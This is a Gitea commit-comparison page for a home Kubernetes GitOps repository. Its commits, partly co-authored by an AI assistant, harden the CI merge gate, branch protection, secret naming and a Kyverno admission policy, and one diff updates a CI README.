Compare commits

..
Author SHA1 Message Date
jakman85andClaude Opus 5 e993d0f7d1 docs(ci): the wiring comment named a secret Gitea cannot accept
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
ci/gitea-settings.sh told the reader to "create a Gitea repo secret
GITEA_SETTINGS_TOKEN". That instruction is IMPOSSIBLE to follow: Gitea reserves the
GITEA_ prefix for secret names and rejects the PUT with HTTP 400 "invalid secret name".

Same defect as the one fixed in PR #15 and in the README in PR #19 -- this was the third
file carrying it, found by an agent reading the file rather than trusting my description
of it. A comment that instructs an impossible action is not cosmetic: this exact wrong
name is why the drift detector sat inert while a token existed and no secret did.

Now names SETTINGS_API_TOKEN, and states explicitly that GITEA_SETTINGS_TOKEN remains
honoured ONLY as a local-run env var -- it can never be the CI wiring, because the secret
that would feed it cannot exist.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:30:35 -05:00
jakman85 20ea70d221 Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
gate / gate (push) Successful in 1m36s
gate / conformance (push) Has been skipped
Reviewed-on: #16
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:28:54 +00:00
jakman85andClaude Opus 5 8c7a770de2 fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/
kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as
reference; THIS file is the buildable render root" -- and that render root
(platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease,
noting that ClusterPolicies are applied a tier later, by platform-config, because they
need the Kyverno CRDs first.

So three lists exist and only platform-config/kustomization.yaml applies anything. The
policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test
exercised it by path and passed, the merge gate passed, and Flux reported `platform`
Ready at the new revision. Measured on prod afterwards:

    kubectl get clusterpolicy conformance-trigger-job-shape
    Error from server (NotFound)

while ns conformance, the conformance-trigger ServiceAccount, its Role and its
RoleBinding were all live. That is exactly the state that identity's own RBAC header
says must never exist -- the trigger identity present with nothing bounding it. Blast
radius was small only because no trigger kubeconfig exists yet, which is luck, not design.

Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to
8 and contains conformance-trigger-job-shape).

CLOSES THE CLASS, which matters more than the instance. Adds the L0 check
admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is
either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a
reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in
either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no
requirement the diff attributes, so a path-scoped run would have skipped it on the exact
commit that introduced the defect.

Proven both ways, not assumed:
  with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied
  with the fix          -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason

`kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 13:23:09 -05:00
jakman85 1c5974013e Merge pull request 'docs(decisions-log): end-of-session PM handoff' (#14) from docs/handoff-2026-09-29 into main
gate / gate (push) Successful in 1m35s
gate / conformance (push) Has been skipped
Reviewed-on: #14
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:22 +00:00
jakman85 4791d4a43a Merge pull request 'feat(sec): constrain the conformance CI trigger at admission' (#13) from feat/conformance-trigger-admission-boundary into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #13
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:00 +00:00
jakman85 dfd608ac32 Merge pull request 'fix(ci): CLUSTER_AVAILABLE=true would have faked a green' (#12) from fix/cluster-available-would-fake-a-green into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #12
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:55 +00:00
jakman85 1d2d9d6549 Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #15
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:30 +00:00
jakman85andClaude Opus 5 4b31f97486 docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
Records two findings from the unattended session.

The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea
reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null,
and printed success anyway. A token existed; no secret did. Enabling
REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own
fix. PR #15 fixes it and its CI is green WITH require active, which is the only
proof that counts.

And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals".
required_approvals:1 + block_admin_merge_override:true + an author who cannot
self-approve means "merge on green CI" is not executable by an agent. Recorded as
the control working rather than a fault, and deliberately not circumvented --
self-approval would hollow out the boundary just built. The choice of what to do
about it is the operator s, and whatever is chosen must also change the declaration
in expected-branch-protection.json or the detector will correctly fail on the drift.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:12:33 -05:00
jakman85andClaude Opus 5 50a48e6f07 fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
The drift detector merged in #11 was inert and would have stayed inert silently.

WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions
secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly
as GitHub reserves `GITHUB_` -- and rejects that PUT with:

    HTTP 400  {"message":"invalid secret name"}

The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and
`curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened.
Measured afterwards: the token existed in the user's token list, and the repo's secret list
was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with
REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one
fixing it.

Three changes:
  * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping
    GITEA_SETTINGS_TOKEN as a local-run fallback;
  * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim
    success otherwise. That missing verification is the actual defect -- the wrong name was
    just what it hid;
  * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS.

WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still
skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green
means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json.

Verified locally before pushing:
  REQUIRE=true, token present -> MERGE GATE: PASS
  REQUIRE=true, no token      -> gitea-settings SKIPPED -> BLOCKED (not a silent skip)

The secret is already stored and read back as present, so CI has what it needs.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:08:12 -05:00
jakman85andClaude Opus 5 911ead5fbd docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
gate / gate (pull_request) Successful in 1m33s
gate / conformance (pull_request) Has been skipped
Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.

Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:28:33 -05:00
jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
gate / gate (pull_request) Successful in 1m38s
gate / conformance (pull_request) Has been skipped
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00
jakman85 4634b44cc7 Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #11
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:59:29 +00:00
jakman85andClaude Opus 5 6586919132 fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.

MEASURED, before the guard:
  CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
  "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
  "[ ok ] L2/L3 conformance passed for touched subset"

run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.

The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).

The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.

The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:58:26 -05:00
jakman85andClaude Opus 5 e6f6e4febb feat(ci): detect Gitea settings drift -- the blind spot that hid a month of outage
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:

  * main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
    required status check;
  * ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
    sat pending for 30.6 minutes with nothing to execute it;
  * after enable_status_check and required_approvals were turned on they STILL did not
    bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
    approvals recorded against required_approvals: 1.

infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.

ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.

Verified by test, not assumed:
  no token            -> exit 3, skips loudly, does NOT block
  live == declaration -> exit 0
  injected drift      -> exit 1, blocks, naming both the drifted key and the runner count

The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.

gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.

infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.

UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:52:28 -05:00
jakman85 e8e6b9c681 Merge pull request 'fix(gitea): admins could override the gate' (#10) from fix/gitea-admins-could-override-the-gate into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #10
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:43:52 +00:00
jakman85andClaude Opus 5 fcc66c7858 fix(gitea): admins could override the gate -- the enforcement was not enforcing
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
enable_status_check and required_approvals were set earlier today and recorded as done.
They did not bite. block_admin_merge_override was false, and Gitea lets repo admins
override merge requirements without it. jakman85 holds owner, so both requirements were
bypassable by exactly the account that performs every merge.

The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1
was in force, with ZERO approvals recorded on any of them.

Two process failures, both the same shape as the defect this whole session started with:

1. Verified with the wrong view. /branches/main reports protected, enable_status_check and
   required_approvals but NOT block_admin_merge_override -- it showed everything green while
   the rule was overridable. /branch_protections/main is authoritative.
2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`;
   asking jq for it returns null, which reads like "set to false" but means "key absent", so
   a PATCH that silently did nothing produced a convincing before/after. jq returning null
   is not a value -- it may be an absence. Enumerate with to_entries.

require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it
in isolation. Both carry the field-name warning.

This PR is the test. If it merges WITHOUT an approval, the fix did not work.

Also records the governance question: with only jakman85 (human) and gitea-admin (agent),
a human-authored PR now needs the automation account to approve it. That is ceremony, not
review, and the choice between keeping it, dropping approvals in favour of the status
check, or adding a second human is the operator's to make.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:36:38 -05:00
jakman85 b9e8a4f9e8 Merge pull request 'docs(ci): close out the hardening; correct a claim that shipped wrong' (#9) from docs/close-out-ci-hardening into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #9
2026-09-29 07:32:52 +00:00
jakman85andClaude Opus 5 b2d9883958 docs(ci): close out the hardening -- land the scripts, correct a claim that shipped wrong
gate / gate (pull_request) Successful in 2m2s
gate / conformance (pull_request) Has been skipped
The branch-protection + PR-gate + sidecar sequence is complete and verified. This records
the finished state and fixes what the sequence itself proved wrong.

CORRECTS A FALSE CLAIM I SHIPPED. PR #7 said the sidecar conversion would remove the
one-per-start dockerd line "http: TLS handshake error from 127.0.0.1: EOF". It does NOT.
Exactly one still appears, immediately after "API listen on [::]:2376" -- it is now the
startupProbe's FIRST attempt, landing microseconds after dockerd begins listening and cut
off by timeoutSeconds: 1; the next poll succeeds. Cosmetic, and deliberately not chased:
raising the timeout to hide one benign startup line would slow every subsequent poll. The
manifest comment now states this instead of the wrong prediction.

Lands infra/gitea/require-gate.sh and verify-then-enforce.sh, which drove the rollout from
a session temp dir. verify-then-enforce.sh merges nothing -- merging is a human's reviewed
act -- but forces the reconcile and ABORTS unless the pod is healthy, a runner is online,
and a real workflow goes green on it, before enabling enforcement and probing the push.
Re-run it after any future act-runner change.

Trims the now-obsolete feat/ rationale from claim-ship.sh: per-branch push triggers were
deleted, so no prefix produces a duplicate run any more.

CLAUDE.md's enforcement table flips from "weaker than this rule" to machine-enforced, with
all four rows marked verified and the push rejection noted as PROVOKED rather than assumed.
It also now states what a green PR does NOT prove: CLUSTER_AVAILABLE is unset, so L2/L3
never runs in CI and only the L0/L1 offline subset is covered.

infra/gitea/README.md marks the sequence done and names the root cause that remains
unfixed: Gitea repo settings live in its own database, invisible to Flux and unreadable by
the conformance gate, so NOTHING detects drift from what this directory declares. These
scripts assert desired state; they are not a detector. The check that reads the live API
and fails on divergence is the highest-value work left, and it is the difference between
this being fixed and this being unable to recur.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:28:55 -05:00
jakman85 00efd4b828 Merge pull request 'fix(ci): convert dind to a native sidecar; delete both wait loops' (#7) from fix/dind-native-sidecar into main
gate / gate (push) Successful in 1m35s
gate / conformance (push) Has been skipped
Reviewed-on: #7
2026-09-29 07:22:50 +00:00
jakman85 67a54a33a4 Merge pull request 'fix(ci): delete the per-branch push triggers instead of adding feat/**' (#6) from fix/gate-push-trigger-matches-feat-prefix into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #6
2026-09-29 07:22:20 +00:00
jakman85 db1a623073 Merge pull request 'docs(runbooks): the PR flow, not git push origin main' (#5) from docs/runbooks-pr-flow into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #5
2026-09-29 07:21:28 +00:00
jakman85 ce271225de Merge pull request 'docs: correct CI/platform documentation that was stale or wrong' (#8) from docs/ci-reality-vs-phase-0 into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #8
2026-09-29 07:20:48 +00:00
jakman85andClaude Opus 5 e72050c690 docs: correct CI/platform documentation that was stale, wrong, or load-bearing
gate / gate (push) Successful in 1m37s
gate / gate (pull_request) Successful in 1m36s
gate / conformance (push) Has been skipped
gate / conformance (pull_request) Has been skipped
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no
runner -- while the tree asserted both. This corrects the documents that carried, and in
several cases CAUSED, that belief.

CLAUDE.md gains section 2b: never infer platform state from this repository. It carries
the specific API and kubectl checks for protection, runners, CI status, workloads and
Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea
job reports success). This is the rule whose absence produced every other finding.

.gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host,
this file is dormant". Gitea had been live for weeks. Both were written as plans and never
revisited once the plan completed. The Transition section is now marked COMPLETE and says
what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI).

DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously
hit "required status check; runner incluster-dind online" with nothing marking it false
until a month later. The correction now sits on the bullet itself.

ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they
speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an
expected phase. That framing is why the gap went unexamined.

apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to
`sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded
that a fresh token alone does not re-register a runner holding a stale /data/.runner.

apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder.
It has not since the claim -- it holds the spent token, which is inert and deliberately
left in place.

catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was
uncited, upstream documents no expiry, and it was the basis for a since-disproven claim
that the pipeline was too slow to fit inside it. Measured: ~2m45s.

Both .sops.yaml files were verified to still decrypt after the comment edits
(`sops -d > /dev/null`), and render==golden confirms the catalog comment does not
propagate into the rendered manifest.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:14:26 -05:00
jakman85andClaude Opus 5 761e25cc3f docs(runbooks): two more uncited "4-minute" claims the first pass missed
gate / gate (push) Successful in 1m34s
gate / gate (pull_request) Successful in 1m35s
gate / conformance (push) Has been skipped
gate / conformance (pull_request) Has been skipped
A systematic grep for the TTL assertion found it still in runbooks/README.md and in
runbooks/kustomization.yaml, outside the page being rewritten. Same correction: the
countdown on plex.tv/claim is the authority, not a number in our tree.

README.md also now records that the server is CLAIMED and points at claim-ship.sh with
the measured ~2m45s loop, rather than describing a push-based sequence that no longer
exists.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 01:57:47 -05:00
jakman85andClaude Opus 5 e7508931ca fix(ci): convert dind to a native sidecar; delete both hand-rolled wait loops
gate / gate (push) Successful in 1m34s
gate / gate (pull_request) Successful in 1m35s
gate / conformance (push) Has been skipped
gate / conformance (pull_request) Has been skipped
Executes the FOLLOW-UP that has been carried in this manifest since the readiness fix,
now that k3s is v1.36 and sidecar containers are GA.

dind moves into initContainers as the first entry with restartPolicy: Always -- the one
field that makes an initContainer a sidecar: it starts before the regular containers,
runs alongside them, and is terminated after them. kubelet therefore enforces the
ordering that the runner used to hand-roll, so the runner drops its command: override
and runs the image's own entrypoint.

The startupProbe execs a full TLS-verified `docker ... info`, NOT a tcpSocket probe. A
tcpSocket probe would re-open the exact gap the old Stage 1 existed to close: dockerd
writes the TLS certs and only THEN starts listening, so the port can accept a connection
while the certs are absent, and act_runner hard-exits on a missing
/certs/client/ca.pem. `docker info` proves both that the certs are usable and that the
daemon answers. periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.

It also removes the one-per-start dockerd log line
  http: TLS handshake error from 127.0.0.1: EOF
which was the old `nc -z` probe opening a TCP connection and closing it without a TLS
handshake -- an error we were generating ourselves and then reading in the logs.

SECONDARY WIN: deleting the shell deletes an envsubst hazard. apps-wave-1 runs postBuild
substitution over this ENTIRE manifest, comments included, and those loops depended on
bare dollar-names passing through untouched -- a braced or double-dollar spelling would
have silently unbounded the waits or failed the whole Kustomization. The only dollar left
in the file is the intended ${BASE_DOMAIN}.

LANDS ALONE, DELIBERATELY. This Deployment is the merge gate for the entire repository:
if the conversion is wrong, nothing can merge. Merge this BEFORE enabling the required
status check, and watch a real workflow run green on the converted pod before doing so --
otherwise a bad conversion locks the repo with no way to revert through the gate.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 01:54:47 -05:00
jakman85andClaude Opus 5 bf98a99af6 fix(ci): delete the per-branch push triggers instead of adding feat/** to them
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
The tracked next-step said "align gate.yml's push trigger with this repo's feat/**
prefix". Doing that literally would have made things worse, so this does the opposite.

act_runner runs at capacity 1. A branch push and its PR fire the SAME gate over the SAME
tree, and the redundant run SERIALISES AHEAD of the PR run -- doubling the wall clock on
the one result that gates the merge. Adding another prefix widens that, it does not fix
it. infra/plex/claim-ship.sh currently has to pick a feat/ branch name specifically to
DODGE this, during a loop that is racing a short-lived token.

The prefix list also silently failed to match this repo's own convention: branches here
are feat/**, which was absent, so the "fast feedback" never fired for the most common
prefix. Nobody noticed for a month because the only symptom of a wrong entry is a MISSING
run. Any hand-maintained prefix list has that failure mode. Deleting the list removes the
whole class rather than correcting one entry.

It was redundant anyway: CLAUDE.md already requires ./ci/gate.sh in the pinned toolbox
before pushing (74s locally), and the PR gate re-runs it authoritatively.

push: [main] is KEPT -- post-merge main must still be verified, and it is the only run for
which no PR context exists.

FOLLOW-UP once this and #5 are both merged: the feat/ rationale in
infra/plex/claim-ship.sh becomes obsolete and its comment should be trimmed. The script
keeps working either way.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 01:50:59 -05:00
jakman85andClaude Opus 5 8e017fad91 docs(runbooks): the PR flow, not git push origin main -- that instruction is now blocked
gate / gate (pull_request) Successful in 1m34s
gate / gate (push) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
gate / conformance (push) Has been skipped
main became a protected branch on 2026-09-29, so the direct push that 37 of 39 runbooks
instructed is REJECTED. The wording was merely stale before; it is now actively wrong,
and it is the line an operator reads mid-incident.

Every occurrence now describes the real path: push a branch, open a PR, merge once the
gate is green -- that merge is the deploy. 35 files shared one identical block;
flux-reconcile.md, README.md and plex-claim.md each said it their own way and were
corrected individually.

plex-claim.md is rewritten around the delivery loop and records that THE SERVER IS NOW
CLAIMED (PlexOnlineToken present in /config), so PLEX_CLAIM is a permanent no-op and the
page only applies after a /config wipe.

Adds infra/plex/claim-ship.sh, which drives branch -> commit -> push -> PR -> gate ->
merge -> reconcile -> pod roll -> verdict with a stopwatch. Three steps are easy to lose
under time pressure and two are SILENT when skipped: --with-source (without it the
Kustomization applies the previously-fetched revision), the mandatory rollout restart
(only the ciphertext changes, so the pod template is byte-identical and nothing restarts
itself), and the feat/ branch prefix (act_runner capacity is 1, and a prefix inside
gate.yml's push trigger fires a redundant run that serialises ahead of the PR run).

Drops the "~4-minute TTL" the page asserted in four places. It was uncited, and upstream
pms-docker documents no expiry at all. The countdown on plex.tv/claim is the authority.
Measured loop: ~2m45s.

DECISIONS-LOG carries the PM handoff: both halves of the 2026-08-31 CI claim were false,
the stale-.runner root cause, the four-deep Flux dependency cascade, and the correction
that a skipped Gitea job reports success rather than hanging.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 01:42:35 -05:00
gitea-admin 27d0ef3324 Merge pull request 'chore(plex): fresh plex.tv claim token' (#4) from feat/plex-claim-token-013124 into main
gate / gate (push) Successful in 1m33s
gate / conformance (push) Has been skipped
2026-09-29 06:33:04 +00:00
77 changed files with 2174 additions and 290 deletions

No files matched your search

+28 -14
View File
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
*collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
(`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
## Honest SKIP — never fake green (Phase 0)
## Honest SKIP — never fake green
**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
skip logic below is still correct and still honest, but read it as describing a **live
coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
phrased as a phase is part of why the gap went unexamined.
Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
they do not pass**:
- The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
## Triggers & branch model (CONTRIBUTING.md)
- `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
**No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
## Transition: COMPLETE (2026-09-29)
Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
This section used to describe a migration as pending. It has happened. Gitea is live at
`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
`gate.yml` runs on every PR.
1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
local feature-branch → `main`, the gate enforced by convention + the local runner.
2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
